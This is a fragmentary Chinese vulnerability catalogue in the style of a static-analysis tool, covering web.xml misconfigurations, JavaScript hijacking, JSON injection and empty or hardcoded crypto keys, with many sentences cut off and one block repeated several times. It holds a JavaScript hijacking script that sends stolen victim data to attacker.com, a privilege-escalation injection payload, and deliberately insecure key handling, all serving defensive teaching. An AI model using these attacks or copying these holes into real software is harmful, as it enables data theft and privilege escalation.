web.xml 中缺少 Servlet 名称或 Servlet 名称重复是一项错误。每个 Servlet 都应具有唯一名称 (servlet-name) 和相应映射 (servlet-mapping)。web.xml 中的以下条目显示了几种错误的 Servlet 定义。
<!-- No <servlet-name> specified: -->
<servlet>
<servlet-class>com.class.MyServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<!-- Empty <servlet-name> node: -->
<servlet>
<servlet-name/>
<servlet-class>com.class.MyServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<!-- Duplicate <servlet-name> nodes: -->
<servlet>
<servlet-name>MyServlet</servlet-name>
<servlet-name>Servlet</servlet-name>
<servlet-class>com.class.MyServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<login-config> 元素用于配置用户如何对应用程序进行身份验证。缺少身份验证方法意味着应用程序不了解如何应用授权限制，因为任何用户都无法登录。使用 <auth-method> 标签（<login-config> 的子标签）指定身份验证方法。BASIC、FORM、DIGEST和CLIENT_CERT。BASIC 表示 HTTP 基本身份验证。FORM 表示基于表单的身份验证。DIGEST 与 BASIC 身份验证类似；但是，DIGEST 会对密码进行加密。CLIENT_CERT 要求客户端具备公钥证书并使用 SSL/TLS。
<web-app>
<!-- servlet declarations -->
<servlet>...</servlet>
<!-- servlet mappings-->
<servlet-mapping>...</servlet-mapping>
<!-- security-constraints-->
<security-constraint>...</security-constraint>
<!-- login-config goes here -->
<!-- security-roles -->
<security-role>...</security-role>
</web-app>
web.xml 安全限制通常用于基于角色的访问控制，但可选 user-data-constraint 元素可指定传输保证，防止采用不安全的方式传输内容。<user-data-constraint> 标签内的 <transport-guarantee> 标签定义了通信处理方式。传输保证分为三个级别：NONE 意味着应用程序不需要任何传输保证。INTEGRAL 意味着应用程序要求在客户端与服务器之间发送数据期间不可在传输过程中更改数据。CONFIDENTIAL 意味着应用程序要求在传输内容期间防止其他实体观察传输内容。INTEGRAL 或 CONFIDENTIAL 意味着需要 SSL/TLS。如果忽略 <user-data-constraint> 和 <transport-guarantee> 标签，则传输保证默认为 NONE。
<security-constraint>
<web-resource-collection>
<web-resource-name>Storefront</web-resource-name>
<description>Allow Customers and Employees access to online store front</description>
<url-pattern>/store/shop/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<description>Anyone</description>
<role-name>anyone</role-name>
</auth-constraint>
</security-constraint>
AuthenticationFilter 的筛选器映射。由于缺少定义，筛选器 AuthenticationFilter 不会应用于指定的 URL 模式 /secure/*，而且可能导致运行时异常。
<filter>
<description>Compresses images to 64x64</description>
<filter-name>ImageFilter</filter-name>
<filter-class>com.ImageFilter</filter-class>
</filter>
<!-- AuthenticationFilter is not defined -->
<filter-mapping>
<filter-name>AuthenticationFilter</filter-name>
<url-pattern>/secure/*</url-pattern>
</filter-mapping>
<filter-mapping>
<filter-name>ImageFilter</filter-name>
<servlet-name>ImageServlet</servlet-name>
</filter-mapping>
role-name 的安全限制会阻止对其保护的所有资源进行合法访问。auth-constraint 中定义的 role-name 缺少 security-role 可能表示配置过时。role-name，但未在 security-role 中对其进行定义。
<security-constraint>
<web-resource-collection>
<web-resource-name>AdminPage</web-resource-name>
<description>Admin only pages</description>
<url-pattern>/auth/noaccess/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<description>Administrators only</description>
<role-name>admin</role-name>
</auth-constraint>
<user-data-constraint>
<transport-guarantee>INTEGRAL</transport-guarantee>
</user-data-constraint>
</security-constraint>
web.xml 中定义的 Servlet。web.xml 中的以下条目可定义 ExampleServlet，但无法定义相应的 Servlet 映射。
<web-app
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<servlet>
<servlet-name>ExampleServlet</servlet-name>
<servlet-class>com.class.ExampleServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
</web-app>
<ejb-jar>
<enterprise-beans>
<entity>
<ejb-name>EmployeeRecord</ejb-name>
<home>com.wombat.empl.EmployeeRecordHome</home>
<remote>com.wombat.empl.EmployeeRecord</remote>
...
</entity>
...
</enterprise-beans>
</ejb-jar>
ANYONE 角色授予调用 EJB 方法的权限。ANYONE 角色的访问权限的方法权限，这表明未充分考虑应用程序的访问控制，或者应用程序的结构无法实现合理的访问控制限制。ANYONE 权限来调用名为 getSalary() 的 Employee EJB 方法。
<ejb-jar>
...
<assembly-descriptor>
<method-permission>
<role-name>ANYONE</role-name>
<method>
<ejb-name>Employee</ejb-name>
<method-name>getSalary</method-name>
</method-permission>
</assembly-descriptor>
...
</ejb-jar>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script> 标签求值的有效 JavaScript 组成，因此很容易受到 JavaScript 劫持的攻击 [1]。默认情况下，这个框架使用 POST 方法提交请求，这样就很难从恶意 <script> 标签生成请求（因为 <script> 标签仅生成 GET 请求）。尽管如此，Microsoft AJAX.NET 确实提供了使用 GET 请求的机制。事实上，许多专家建议程序员使用 GET 请求，以减少浏览器缓存和改善性能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
username 和 password 序列化为位于 C:\user_info.json 的 JSON 文件：
...
StringBuilder sb = new StringBuilder();
StringWriter sw = new StringWriter(sb);
using (JsonWriter writer = new JsonTextWriter(sw))
{
writer.Formatting = Formatting.Indented;
writer.WriteStartObject();
writer.WritePropertyName("role");
writer.WriteRawValue("\"default\"");
writer.WritePropertyName("username");
writer.WriteRawValue("\"" + username + "\"");
writer.WritePropertyName("password");
writer.WriteRawValue("\"" + password + "\"");
writer.WriteEndObject();
}
File.WriteAllText(@"C:\user_info.json", sb.ToString());
JsonWriter.WriteRawValue() 来执行，将不会对 username 和 password 中的不可信赖数据进行验证以转义与 JSON 相关的特殊字符。这样，用户就可以任意插入 JSON 密钥，可能会更改已序列化的 JSON 的结构。在本例中，在设置 username 的值的提示符下输入用户名时，如果非特权用户 mallory（密码为 Evil123!）将 ","role":"admin 附加到其用户名中，则最终保存到 C:\user_info.json 的 JSON 将为：
{
"role":"default",
"username":"mallory",
"role":"admin",
"password":"Evil123!"
}
Dictionary 对象，其中 JsonConvert.DeserializeObject() 如下所示：
String jsonString = File.ReadAllText(@"C:\user_info.json");
Dictionary<string, string> userInfo = JsonConvert.DeserializeObject<Dictionary<string, strin>>(jsonString);
Dictionary 对象中 username、password 和 role 密钥的最终值将分别为 mallory、Evil123! 和 admin。在没有进一步验证反序列化 JSON 值是否有效的情况下，应用程序会错误地为用户分配 mallory“管理员”特权。username 和 password 序列化为位于 ~/user_info.json 的 JSON 文件：
...
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
username := r.FormValue("username")
password := r.FormValue("password")
...
jsonString := `{
"username":"` + username + `",
"role":"default"
"password":"` + password + `",
}`
...
f, err := os.Create("~/user_info.json")
defer f.Close()
jsonEncoder := json.NewEncoder(f)
jsonEncoder.Encode(jsonString)
}
username 和 password 中的不可信赖数据进行验证以转义与 JSON 相关的特殊字符。这样，用户就可以任意插入 JSON 密钥，这可能会更改已序列化的 JSON 结构。在本例中，如果非特权用户 mallory（密码为 Evil123!）在输入其用户名时附加了 ","role":"admin，则最终保存到 ~/user_info.json 的 JSON 将为：
{
"username":"mallory",
"role":"default",
"password":"Evil123!",
"role":"admin"
}
mallory“管理员”特权。username 和 password 序列化为位于 ~/user_info.json 的 JSON 文件：
...
JsonFactory jfactory = new JsonFactory();
JsonGenerator jGenerator = jfactory.createJsonGenerator(new File("~/user_info.json"), JsonEncoding.UTF8);
jGenerator.writeStartObject();
jGenerator.writeFieldName("username");
jGenerator.writeRawValue("\"" + username + "\"");
jGenerator.writeFieldName("password");
jGenerator.writeRawValue("\"" + password + "\"");
jGenerator.writeFieldName("role");
jGenerator.writeRawValue("\"default\"");
jGenerator.writeEndObject();
jGenerator.close();
JsonGenerator.writeRawValue() 来执行，将不会对 username 和 password 中的不可信赖数据进行验证以转义与 JSON 相关的特殊字符。这样，用户就可以任意插入 JSON 密钥，可能会更改已序列化的 JSON 的结构。在本例中，在设置 username 的值的提示符下输入用户名时，如果非特权用户 mallory（密码为 Evil123!）将 ","role":"admin 附加到其用户名中，则最终保存到 ~/user_info.json 的 JSON 将为：
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
HashMap 对象，其中 Jackson 的 JsonParser 如下所示：
JsonParser jParser = jfactory.createJsonParser(new File("~/user_info.json"));
while (jParser.nextToken() != JsonToken.END_OBJECT) {
String fieldname = jParser.getCurrentName();
if ("username".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if ("password".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if ("role".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if (userInfo.size() == 3)
break;
}
jParser.close();
HashMap 对象中 username、password 和 role 密钥的最终值将分别为 mallory、Evil123! 和 admin。在没有进一步验证反序列化 JSON 值是否有效的情况下，应用程序会错误地为用户分配 mallory“管理员”特权。
var str = document.URL;
var url_check = str.indexOf('name=');
var name = null;
if (url_check > -1) {
name = decodeURIComponent(str.substring((url_check+5), str.length));
}
$(document).ready(function(){
if (name !== null){
var obj = jQuery.parseJSON('{"role": "user", "name" : "' + name + '"}');
...
}
...
});
name 中的不可信数据进行验证，以避免与 JSON 相关的特殊字符。这样，用户就可以任意插入 JSON 密钥，可能会更改已序列化的 JSON 的结构。在此示例中，如果非特权用户 mallory 将 ","role":"admin 附加到 URL 中的名称参数，JSON 将变成：
{
"role":"user",
"username":"mallory",
"role":"admin"
}
jQuery.parseJSON() 解析，并设置为普通对象，这意味着 obj.role 将立即返回 "admin" 而不是 "user"_usernameField 和 _passwordField 序列化为 JSON。
...
NSString * const jsonString = [NSString stringWithFormat: @"{\"username\":\"%@\",\"password\":\"%@\",\"role\":\"default\"}" _usernameField.text, _passwordField.text];
NSString.stringWithFormat: 来执行，将不会对 _usernameField 和 _passwordField 中的不可信赖数据进行验证以转义与 JSON 相关的特殊字符。这样，用户就可以任意插入 JSON 密钥，可能会更改已序列化的 JSON 的结构。在本例中，如果非特权用户 mallory（密码为 Evil123!）在将 ","role":"admin 输入 _usernameField 字段时将其附加到其用户名中，则最终 JSON 将为：
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
NSDictionary 对象，其中 NSJSONSerialization.JSONObjectWithData: 如下所示：
NSError *error;
NSDictionary *jsonData = [NSJSONSerialization JSONObjectWithData:[jsonString dataUsingEncoding:NSUTF8StringEncoding] options:NSJSONReadingAllowFragments error:&error];
NSDictionary 对象中 username、password 和 role 的最终值将分别为 mallory、Evil123! 和 admin。在没有进一步验证反序列化 JSON 值是否有效的情况下，应用程序会错误地为用户分配 mallory“管理员”特权。
import json
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs
url = 'https://www.example.com/some_path?name=some_value'
parsed_url = urlparse(url)
untrusted_values = parse_qs(parsed_url.query)['name'][0]
with open('data.json', 'r') as json_File:
data = json.load(json_File)
data['name']= untrusted_values
with open('data.json', 'w') as json_File:
json.dump(data, json_File)
...
name 中不受信任的数据进行验证以转义与 JSON 相关的特殊字符。这使得用户可以任意插入 JSON 密钥，可能会改变序列化 JSON 的结构。在此示例中，如果非特权用户 mallory 将 ","role":"admin 附加到 URL 中的 name 参数，则 JSON 将变为：
{
"role":"user",
"username":"mallory",
"role":"admin"
}
usernameField 和 passwordField 序列化为 JSON：
...
let jsonString : String = "{\"username\":\"\(usernameField.text)\",\"password\":\"\(passwordField.text)\",\"role\":\"default\"}"
usernameField 和 passwordField 中不受信任的数据进行验证以转义与 JSON 相关的特殊字符。这样，用户就可以任意插入 JSON 密钥，可能会更改已序列化的 JSON 的结构。在本例中，如果非特权用户 mallory（密码为 Evil123!）在将 ","role":"admin 输入 usernameField 字段时将其附加到其用户名中，则最终 JSON 将为：
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
NSDictionary 对象，其中 NSJSONSerialization.JSONObjectWithData: 如下所示：
var error: NSError?
var jsonData : NSDictionary = NSJSONSerialization.JSONObjectWithData(jsonString.dataUsingEncoding(NSUTF8StringEncoding), options: NSJSONReadingOptions.MutableContainers, error: &error) as NSDictionary
NSDictionary 对象中 username、password 和 role 的最终值将分别为 mallory、Evil123! 和 admin。在没有进一步验证反序列化 JSON 值是否有效的情况下，应用程序会错误地为用户分配 mallory“管理员”特权。
$userInput = getUserIn();
$document = getJSONDoc();
$part = simdjson_key_value($document, $userInput);
echo json_decode($part);
userInput 是用户可控制的，恶意用户可以利用这一点来访问 JSON 文档中的任何敏感数据。
def searchUserDetails(key:String) = Action.async { implicit request =>
val user_json = getUserDataFor(user)
val value = (user_json \ key).get.as[String]
...
}
key 是可由用户控制的，恶意用户可以利用它来访问用户的密码，以及 JSON 文档中可能包含的任何其他私人数据。
...
encryptionKey = "".
...
...
var encryptionKey:String = "";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...
...
char encryptionKey[] = "";
...
...
<cfset encryptionKey = "" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...
...
key := []byte("");
block, err := aes.NewCipher(key)
...
...
private static String encryptionKey = "";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
...
var crypto = require('crypto');
var encryptionKey = "";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
...
CCCrypt(kCCEncrypt,
kCCAlgorithmAES,
kCCOptionPKCS7Padding,
"",
0,
iv,
plaintext,
sizeof(plaintext),
ciphertext,
sizeof(ciphertext),
&numBytesEncrypted);
...
...
$encryption_key = '';
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
...
from Crypto.Ciphers import AES
cipher = AES.new("", AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
require 'openssl'
...
dk = OpenSSL::PKCS5::pbkdf2_hmac_sha1(password, salt, 100000, 0) # returns an empty string
...
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"",
0,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
...
Dim encryptionKey As String
Set encryptionKey = ""
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.
CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = space
RECEIVING
ro_object = lo_hmac.
" update HMAC with input
lo_hmac->update( if_data = input_string ).
" finalise hmac
lo_digest->final( ).
...
Example 1 中显示的代码可能会成功运行，但有权访问该代码的任何人都能知道它使用的是空 HMAC 密钥。一旦程序发布，除非修补该程序，否则可能无法更改此空 HMAC 密钥。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。另外，Example 1 中的代码还容易受到伪造和密钥恢复攻击的侵害。
...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
...
Example 1 中的代码可能会成功运行，但有权访问该代码的任何人都能知道它使用的是空 HMAC 密钥。一旦程序发布，除非修补该程序，否则可能无法更改此空 HMAC 密钥。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。另外，Example 1 中的代码还容易受到伪造和密钥恢复攻击的侵害。
import "crypto/hmac"
...
hmac.New(md5.New, []byte(""))
...
Example 1 中的代码可能会成功运行，但有权访问该代码的任何人都能确定它使用的是空 HMAC 密钥。一旦程序发布，除非修补该程序，否则无法更改此空 HMAC 密钥。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。另外，Example 1 中的代码还容易受到伪造和密钥恢复攻击的侵害。
...
private static String hmacKey = "";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...
Example 1 中的代码可能会成功运行，但有权访问该代码的任何人都能知道它使用的是空 HMAC 密钥。一旦程序发布，除非修补该程序，否则可能无法更改此空 HMAC 密钥。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。另外，Example 1 中的代码还容易受到伪造和密钥恢复攻击的侵害。
...
let hmacKey = "";
let hmac = crypto.createHmac("SHA256", hmacKey);
hmac.update(data);
...
示例 1 中的代码可能会成功运行，但有权访问该代码的任何人都可能知道它使用的是空 HMAC 密钥。一旦程序发布，除非修补该程序，否则可能无法更改此空 HMAC 密钥。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。
...
CCHmac(kCCHmacAlgSHA256, "", 0, plaintext, plaintextLen, &output);
...
Example 1 中的代码可能会成功运行，但有权访问该代码的任何人都能知道它使用的是空 HMAC 密钥。一旦程序发布，除非修补该程序，否则可能无法更改此空 HMAC 密钥。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。另外，Example 1 中的代码还容易受到伪造和密钥恢复攻击的侵害。
import hmac
...
mac = hmac.new("", plaintext).hexdigest()
...
Example 1 中的代码可能会成功运行，但有权访问该代码的任何人都能知道它使用的是空 HMAC 密钥。一旦程序发布，除非修补该程序，否则可能无法更改此空 HMAC 密钥。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。另外，Example 1 中的代码还容易受到伪造和密钥恢复攻击的侵害。
...
digest = OpenSSL::HMAC.digest('sha256', '', data)
...
Example 1 中的代码可能会成功运行，但有权访问该代码的任何人都能知道它使用的是空 HMAC 密钥。一旦程序发布，除非修补该程序，否则可能无法更改此空 HMAC 密钥。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。另外，Example 1 中的代码还容易受到伪造和密钥恢复攻击的侵害。
...
CCHmac(UInt32(kCCHmacAlgSHA256), "", 0, plaintext, plaintextLen, &output)
...
Example 1 中的代码可能会成功运行，但有权访问该代码的任何人都能知道它使用的是空 HMAC 密钥。一旦程序发布，除非修补该程序，否则可能无法更改此空 HMAC 密钥。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。另外，Example 1 中的代码还容易受到伪造和密钥恢复攻击的侵害。
...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("", salt,100000);
...
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("");
...
const pbkdfPassword = "";
crypto.pbkdf2(
pbkdfPassword,
salt,
numIterations,
keyLen,
hashAlg,
function (err, derivedKey) { ... }
)
...
CCKeyDerivationPBKDF(kCCPBKDF2,
"",
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
...
CCKeyDerivationPBKDF(kCCPBKDF2,
password,
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
password 包含一个已进行适当管理的强密码值，将其长度传递为 0 也会导致产生空、null 或其他形式的意外弱密码值。
...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "");
...
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', '', salt, 100000)
...
...
key = OpenSSL::PKCS5::pbkdf2_hmac('', salt, 100000, 256, 'SHA256')
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"",
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
password,
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
password 包含一个已进行适当管理的强密码值，将其长度传递为 0 也会导致产生空、null 或其他形式的意外弱密码值。
...
encryptionKey = "lakdsljkalkjlksdfkl".
...
...
var encryptionKey:String = "lakdsljkalkjlksdfkl";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...
...
Blob encKey = Blob.valueOf('YELLOW_SUBMARINE');
Blob encrypted = Crypto.encrypt('AES128', encKey, iv, input);
...
...
using (SymmetricAlgorithm algorithm = SymmetricAlgorithm.Create("AES"))
{
string encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(encryptionKey);
algorithm.Key = keyBytes;
...
}
...
char encryptionKey[] = "lakdsljkalkjlksdfkl";
...
...
<cfset encryptionKey = "lakdsljkalkjlksdfkl" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...
...
key := []byte("lakdsljkalkjlksd");
block, err := aes.NewCipher(key)
...
...
private static final String encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
...
var crypto = require('crypto');
var encryptionKey = "lakdsljkalkjlksdfkl";
var algorithm = 'aes-256-ctr';
